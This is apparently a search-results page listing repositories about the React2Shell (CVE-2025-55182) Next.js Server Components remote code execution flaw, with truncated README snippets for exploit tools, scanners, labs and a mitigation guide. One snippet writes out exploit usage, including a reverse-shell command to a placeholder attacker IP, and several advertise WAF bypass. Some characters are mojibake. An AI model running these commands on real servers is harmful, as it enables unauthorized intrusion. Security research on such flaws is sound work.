800 matches found
CVE-2025-55183-poc
CVE-2025-55183-poc ā Next.js React Server Components Server Function Source Code Disclosure This repository contains detection tooling for a source code disclosure vulnerability in Next.js React Server Components RSC / Server Actions , tracked as CVE-2025-55183. In vulnerable applications, a...
React2Shell_CVE-2025-55182
CVE-2025-55182 Modular Exploit with WAF Bypass A Python script providing an interactive shell for exploiting the critical RCE vulnerability CVE-2025-55182 in vulnerable React Server Components and Next.js applications. This exploit targets the deserialization flaw that allows unauthenticated remo...
React2Shell
React2Shell CVE-2025-55182 Scanner & Exploit Toolkit for Next.js/React Server Components RCE. Repository Structure root@kitploit: React2Shell/ āāā browser-extension/ Chrome extension for browser-based detection ā āāā manifest.json ā āāā content.js ā āāā popup.html/js ā āāā background.js āāā cli/...
React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web
React2Shell CVE-2025-55182: The Deserialization Bug That Broke the Web ā” React2Shell, CVE-2025-55182, RCE Vulnerability: A critical breakdown of the unsafe deserialization flaw in React Server Components that enables unauthenticated remote code execution across default React/Next.js setups. ā© TL;...
mitigate-cve-2026-23869-react-server-component-loops
How to Fix CVE-2026-23869: Mitigate React Server Component Loops Securing modern enterprise frontend applications requires continuous monitoring of server-side data fetching layouts and framework component life cycles. With the recent public disclosure of CVE-2026-23869, engineering teams are...
CVE-2025-55182
Next.js React ęå”端ē»ä»¶ RCE ę¼ę“å©ēØ éčæååę±”ęå©ēØ CVE-2025-55182 å®ē°čæēØä»£ē ę§č”ć å®č£ root@kitploit: uv sync 使ēØę¹ę³ å½ä»¤ę§č” root@kitploit: source .venv/bin/activate python3 exploit.py -u https://example.com -c "id" åå¼¹ Shell root@kitploit: python3 exploit.py -u https://example.com -r -l YOURIP -p 4444 -P nc-mkfifo é锹 -u,...
WEB-CLI_RCE_React2Shell
REACT2SHELL šÆ Quick Overview What is this? This tool is a simple Proof-of-Concept PoC exploit for CVE-2025-55182. This is a serious flaw Prototype Pollution found in Next.js applications that use React Server Components. If a target server is vulnerable, this script lets you run operating system...
CVE-2025-55182-Scanner
CVE-2025-55182 - React Server Components RCE Scanner A comprehensive security testing toolkit for CVE-2025-55182, a critical pre-authentication remote code execution vulnerability in React Server Components. š NEW: Complete Educational Guide Available! Want to understand this vulnerability 100%? ...
React2Shell-PoC-CVE-2025-55182
React2Shell CVE-2025-55182 Exploitation Simulation Note: This document is for educational and security research purposes only. Do not use to attack systems without authorization. 1. Overview CVE-2025-55182, also known as React2Shell, is a critical Remote Code Execution RCE vulnerability affecting...
react2shell-toolkit
Next.js RCE Assessment Toolkit A Python toolkit for validating and investigating CVE-2025-55182, also known as React2Shell , in authorized environments. The vulnerability affects React Server Components and can expose applications built with frameworks such as Next.js to unauthenticated remote co...
vulnerable-next-js-poc
CVE-2025-55182 React2Shell - Proof of Concept ā ļø SECURITY RESEARCH ONLY This repository contains a proof of concept for CVE-2025-55182 , a critical remote code execution vulnerability in React Server Components. This is for authorized security testing and research purposes only. Vulnerability...
React2Shell-CVE-2025-55182
šÆ React2Shell CVE-2025-55182: From React Server Components to Full RCE Difficulty: Intermediate ā Advanced Category: Web Exploitation | Deserialization | RCE š§© Task 1: Introduction ā Why React2Shell Is a Big Deal CVE-2025-55182, nicknamed React2Shell , is one of those vulnerabilities that instant...
React2Shell
Docker å®éŖå®¤äøę£ęµę«ęåØå PoC éŖčÆļ¼React2Shell CVE-2025-55182 å 蓣声ęļ¼ ę¬ä»åŗåå ¶ PoC å·„ä»¶äø„ę ¼ēØäŗåØé离å®éŖå®¤ēÆå¢äøēęč²ćē ē©¶åé²å¾”ę§å®å Øę¼ē¤ŗē®ēćęŖē»ęę对系ē»čæč”ęµčÆęÆäø„ę ¼ē¦ę¢ēć 1. 锹ē®ē®”ēäøęęč¾¹ē 锹ē®ē®ē ę¬ä»åŗęä¾äŗäøäøŖåÆå¤ē°ēåå®¹åØ Docker ēÆå¢ļ¼ęØåØåęćå©ēØå¹¶éŖčÆé对 React Server Components RSC Flight Protocol ååŗååę¼ę“ļ¼éåøøē§°äøŗ React2Shell / CVE-2025-55182 ļ¼ēē¼č§£ęŖę½ć评å®éŖå®¤ę¼ē¤ŗäŗåØęŖę蔄äøē Next.js...
CVE-2025-55182
CVE-2025-55182 Scanner & Exploiter !Warning This repository is intended for educational and research purposes only. Use the provided PoCs exclusively on systems you own or have explicit permission to test. Unauthorized access , exploitation, or misuse of any material in this repository is illegal...
React-Server-Components-RCE
React Server Components Remote RCE Exploitation Tool š Tool Introduction React Server Components Remote RCE Exploitation Tool is a security testing tool specifically designed for remote code execution vulnerabilities in React Server Components and Next.js frameworks. It provides a graphical user...
CVE-2025-55182-Exploit-extension
RSC Fingerprint Detector A Chrome extension for detecting React Server Components RSC and Next.js App Router fingerprints on web pages. ā ļø Important Notice This extension is intended for educational and security research purposes only. It includes functionality that may be used to test for...
CVE-2025-55182-golang-PoC
CVE-2025-55182 React Server Components RCE - Go PoC ā ļø FOR AUTHORIZED SECURITY TESTING ONLY ā ļø Description CVE-2025-55182 also known as CVE-2025-66478 is a critical Remote Code Execution vulnerability in React Server Components Flight protocol. This tool is a Go implementation of the PoC for...
CVE-2025-55182
CVE-2025-55182 / CVE-2025-66478 ā Next.js Middleware / RSC Bypass Analysis The author assumes no liability for misuse or damage caused by this research Provided strictly for educational and defensive purposes Description This repository contains a small laboratory and Proof-of-Concept analysis fo...
CVE-2025-55182-shellinteractive
CVE-2025-55182-shellinteractive Base used from: https://github.com/Emiyelbarto/CVE-2025-55182-PoC Thank you very much for the great contribution. Overview CVE-2025-55182 is a deserialization vulnerability in Next.js/React Server Components that allows unauthenticated remote attackers to execute...
vuln-app-CVE-2025-55182
Vulnerable Next.js RSC Application - CVE-2025-55182 ā ļø WARNING: This application is intentionally vulnerable for educational and security research purposes only. DO NOT deploy to production or expose to the internet. Overview This is a vulnerable Next.js application that demonstrates CVE-2025-5518...